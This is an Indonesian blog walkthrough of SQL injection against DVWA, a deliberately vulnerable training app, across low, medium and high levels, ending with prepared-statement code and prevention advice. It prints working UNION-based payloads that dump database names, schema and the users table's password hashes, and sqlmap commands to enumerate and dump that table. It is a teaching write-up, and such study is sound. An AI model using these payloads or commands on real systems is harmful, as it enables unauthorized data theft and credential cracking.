DVWA Series: SQL Injection
January 03, 2022 ⏱️13 min readIntro
DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.
Disclaimer
Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.
Apa itu SQL Injection?
SQL injection adalah sebuah teknik hacking untuk mendapatkan akses pada sistem database yang berbasis SQL. SQL sendiri merupakan singkatan dari Structured Query Language yaitu bahasa yang digunakan untuk membuat serta mengolah database. Dalam melakukan teknik SQL injection, para peretas akan memanfaatkan celah keamanan pada web atau aplikasi. Mereka akan memasukkan perintah-perintah SQL ke dalam database mesin server sehingga mereka dapat masuk ke dalam sistem tanpa harus memiliki username dan password administrator. SQL injection ini dapat terjadi karena beberapa hal seperti kurangnya penanganan terhadap karakter-karakter seperti tanda petik satu atau karakter double minus yang dapat menyebabkan suatu aplikasi dapat disisipi peretas dengan perintah SQL.
Security Level: Low
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
Information Gathering
Terdapat form input dimana user diminta untuk memasukkan ID kemudaian nanti akan muncul data First name dan Surename yang diambil dari database (semacam mesin pencarian).
Dan kalau kita kihat, http method yang dipakai adalah GET sehingga kita bisa lihat data yang dikirim lewat URL. Kemudian untuk mencari tahu apakah form ini memiliki celah SQL Injection, kita bisa mencobanya dengan meng-inputkan kutip satu ('
) boleh pada url maupun fada form input. Maka akan mucul error sebagai berikut:
Jika terdapat error. Ini berarti kita bisa melakukan SQL Injection. Kenapa error? karena ketika kita menginputkan kutip satu, maka query yang dijalankan oleh server akan seperti berikut:
SELECT first_name, last_name FROM users WHERE user_id = '$id'';
terdapat tanda kutip yang tidak memiliki pasangan (makanya biar kita ga ikutan error harus punya pasangan wkwk).
Launch Attack
Untuk menampilkan semua record pada tabel maka kita harus memasukkan payload yang nanti mengembalikan nilai true. berikut payloadnya:
%' or '1' = '1
sehingga kuery yang di eksekusi server menjadi
SELECT first_name, last_name FROM users WHERE user_id = %' or '1' = '1';
Tanda % tidak sama dengan apapun dan akan mengembalikan nilai salah (False). Queri ‘1’=‘1’ mengembalikan nilai True karena 1 akan selalu sama dengan 1. maka False atau True akan mengembalikan True
Menampilkan User Database
Untuk menampilkan pengguna Database yang mengeksekusi kode PHP menggunakan payload:
%' or 1=1 union select null, user() #
Tanda # pada sql berfungsi untuk membuat komentar.
Sehingga hasil query yang dijalankan server adalah:
SELECT first_name, last_name FROM users WHERE user_id = '%' or 1=1 union select null, user() #';
Menampilkan Nama Database
%' or 1=1 union select null, database() #
Sehingga query yang dijalankan menjadi
SELECT first_name, last_name FROM users WHERE user_id = '%' or 1=1 union select null, database() #';
Menampilkan Versi Database
Untuk mengetahui versi database yang menjalankan aplikasi DVWA
%' or 1=1 union select null, version() #
Menampilkan Semua tabel pada information_schema
information_schema menyimpan informasi tentang tabel, kolom, dan semua database lain yang dikelola oleh MySQL. Untuk menampilkan semua tabel yang ada di information_schema, Gunakan payload:
%' and 1=1 union select null, table_name from information_schema.tables #
Sehingga query yang dijalankan menjadi
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=1 union select null, table_name from information_schema.tables #';
Menampilkan Semua Tabel yang Mengandung Kata User pada Information_schema
%' and 1=1 union select null, table_name from information_schema.tables where table_name like 'user%'#
Maka query yang dijalankan menjadi
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=1 union select null, table_name from information_schema.tables where table_name like 'user%'#';
Menampilkan Semua Kolom pada Tabel User
%' and 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
0x0a pada hexadesimal berarti 10, dan jika dirubah menjadi ASCII berarti newline
Sehingga query yang dieksekusi adalah
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #';
Menampilkan Semua Isi dari Tabel User
%' and 1=1 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Query yang dijalankan
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=1 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #';
Dilihat bahwa semua data telihat. Jika kita perhatikan pada kolom pasword terdapat string acak yang merupakan Message diggest atau hasil dari hash. Dan kalau diperhatikan lagi hash tersebut terdapat 32 karakter yang merupakan ciri dari fungsi hash MD5. Karena MD5 adalah fungsi hash yang lemah dan pada jaman sekarang sudah tidak disarankan untuk digunakan. Kita dapat melihat plain text dari string hash tersebut dengan melakukan dictionary attack. Bisa menggunakan tool online.
Menyerang menggunakan SQLMap
Jika tidak mau bingung dengan query di atas, kita bisa menggunakan automation tools seperti SQLMap. Pertama-tama kita tentukan terlebih dahulu method yang digunakan. Pada kasus ini, method yang digunakan adalah GET. Dan endpoint pada kasus ini adalah:
http://192.168.1.6/vulnerabilities/sqli/?id=1&Submit=Submit#
Kita bisa cek database yang ada dengan menjalan kan perintah:
sqlmap -u 'http://192.168.1.6/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=dnluhm0tj00oo3g678re07cvl0; security=low" --dbs
-u
digunakan untuk menentukan URL atau endpoint
--cookie
digunakan untuk menetukan cookie.
--dbs
digunakan untuk melihat database yang tersedia.
Hasilnya ada 2 yaitu dvwa dan information_schema.
Cek Tabel yang ada Dalam DB dvwa
sqlmap -u 'http://192.168.1.6/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=dnluhm0tj00oo3g678re07cvl0; security=low" -D dvwa --tables
Keterangan:
-D
= menentukan database.
--tables
= melihat table dari database
Cek Kolom pada Tabel Users
sqlmap -u 'http://192.168.1.6/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=dnluhm0tj00oo3g678re07cvl0; security=low" -D dvwa -T users --columns
Keterangan:
-D
= menentukan database.
-T
= melihat table dari database
--columns
= melihat kolom
Dump Tabl Users
sqlmap -u 'http://192.168.1.6/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=dnluhm0tj00oo3g678re07cvl0; security=low" -D dvwa -T users --dump
Keterangan:
--dump
akan meng-crack password yang di-hash. Anda akan ditanya apakah akan menggunakan dictionary yang ada di SQLMap atau dictionary kita sendiri.
Security Level: Medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
Information Gathering
Id pertama kali diproses oleh fungsi mysqli_real_escape_string
. Menurut dokumentasi, https://www.php.net/manual/en/mysqli.real-escape-string.php. Fungsi akan meng-escape beberapa karakter yang diblacklist termasuk kutipan tunggal. Namun, bidang id
masih digabungkan ke kueri secara langsung sehingga masih dapat di injeksi.
Pada level ini form yang digunakan adalah bertipe select dan method yang digunakan adalah POST. Sehingga untuk mencoba merubah parameter-nya, kita bisa menggunakan tool Burp suite seperti berikut:
Jika kita ubah nilai parameter id-nya menjadi ’, maka pesan error-nya akan berbeda dibanding level sebelumnya.
Walaupun errornya berbeda. Namun itu sudah menandakan bahwa web tersebut mempunyai celah SQL Injection.
Ada penambahan backslash () sebelum karakter ‘. Ini dikarenakan fungsi mysqli_real_escape_string() yang melakukan encoding pada spesial karakter seperti yang dijelaskan di atas. Sehingga sekarang kita tidak bisa menggunakan payload pada level sebelumnya seperti:
%' or '1' = '1
Maka dari itu kita harus menggunakan cara lain, yaitu mencari payload yang tidak menggunakan spesial karakter. Jawaban yang saya temukan adalah menggunakan union!
Launch Attack
Untuk menampilkan semua list kita bisa menggunakan payload
1+or+1=1
Semua vektor yang digunakan dalam level low harus bisa digunakan setelah melalui penyesuaian yang sama.
Contoh saja, berikut menampilkan password pada tabel user
1+++union+select+1,group_concat(0x7c,password,0x7C)+from+dvwa.users+--+
Atau ketika ingin menampilkan semua isi tabel users menggunakan payload
union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
Menggunakan SQLMap
Salah satu cara termudah untuk menggunakan SQLMap (apa lagi dengan method POST) adalah dengan bantuan Burp suite, yaitu dengan meng-intercept request lalu di salin ke suatu file (contohnya req.txt).
POST /vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://192.168.1.6
Connection: close
Referer: http://192.168.1.6/vulnerabilities/sqli/
Cookie: PHPSESSID=ceirrk20orjsosubae4allmun1; security=medium
Upgrade-Insecure-Requests: 1
id=1&Submit=Submit
Selanjutnya adalah menjalankan SQLMap:
sqlmap -r req.txt --dbs
Keterangan:
-r
berarti membaca file.
silahkan lanjutkan hingga mendapat credential dari user.
Security Level: High
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Pada level ini terdapat perbedaan tentang cara melakukan inputan. Sekarang form inputan berada di halaman session-input.php (berupa pop-up window) lalu nilainya dijadika session dan hasilnya ditampilkan di halaman index.php
Coba kita jalankan payload sebelumnya pada level low :
%' or '1'='1
Kueri memiliki postfix LIMIT 1
untuk mencegah menampilkan jumlah catatan yang dikembalikan secara tidak terduga . Kemudian karakter tidak di escape. Dengan asumsi bahwa bidang id masih digabungkan ke query secara langsung, coba komentari sisa query menggunakan #
.
%' or '1'='1';#
Launch Attack
Setelah mengumpulkan informasi, kita akan mulai melakukan SQL Injection dengan payload seperti berikut:
%' or '1' = '1'#
SELECT first_name, last_name FROM users WHERE user_id = '%' or '1' = '1'#' LIMIT 1;
Sebagai contoh kita bisa mencari semua isi tabel users menggunakan payload:
1' union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users; #
Cara Mencegah SQL Injection
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Menggunakan Parameterized SQL Query
Penggunaan Parameterized SQL Query atau prepared statement dapat memudahkan dalam membedakan antara data yang diinput user dengan SQL Statement
Menonaktifkan Error
Dengan menonaktifkan mode-debug pada aplikasi maka pesan error tidak akan ditampilkan sehinga pesan error tersebut tidak dimanfaatkan peretas
Tambahkan Escape Character
Gunakan escape karakter yang memiliki makna khusus di SQL seperti ; " dll
Lakukan Validasi Input (Pattern Check)
Dilakukan untuk memberikan batasan hak akses
Gunakan WAF (Web Application Firewall)
Digunakan untuk mendeteksi dan memblo serangan SQL Injection
Lakukan Testing Secara Berkala
Baik penetration testing, vulnerability assesment dan lain lain. kemudian perbaiki celah sesegera mungkin.
Amankan Database yang Digunakan
Dengan mengimplementasikan least privileged (memberikan hak akses pengguna sesuai yang diperlukan dan seminimal mungkin) kemudian gunakan enkripsi, nonaktifkan remote access dari publik, jangan gunakan default credential, dan ganti password secara berkala.